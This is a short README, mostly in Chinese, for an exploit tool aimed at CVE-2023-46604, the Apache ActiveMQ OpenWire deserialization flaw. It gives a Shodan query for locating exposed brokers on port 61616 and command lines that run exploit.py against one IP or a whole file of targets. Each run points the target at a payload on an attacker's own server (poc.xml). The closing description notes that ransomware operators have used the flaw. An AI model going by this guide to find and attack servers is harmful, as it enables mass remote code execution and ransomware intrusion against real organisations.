CVE-2023-46604

CVE-2023-46604 漏洞利用工具

此工具可帮助利用此漏洞。

用于查找目标的 Shodan 查询：

product:"ActiveMQ" port:"61616"

工具使用方法：

for read targets from the file:
python3 exploit.py -f targets -c http://YourVPS/poc.xml
---
single target:
python3 exploit.py -ip IP -c http://YourVPS/poc.xml

关于此 CVE：

CVE-2023-46604 是 Apache ActiveMQ（一款开源消息代理软件）中的一个严重远程代码执行漏洞。该漏洞允许网络访问的远程攻击者通过基于 Java 的 OpenWire 代理或客户端执行任意 shell 命令。攻击者通过操纵 OpenWire 协议中的序列化类类型，使代理实例化类路径上的任意类来实现这一点。该漏洞源于 Apache ActiveMQ 中的不安全反序列化，已被包括 HelloKitty 勒索软件家族在内的攻击者利用，以运行勒索软件二进制文件并完全入侵系统。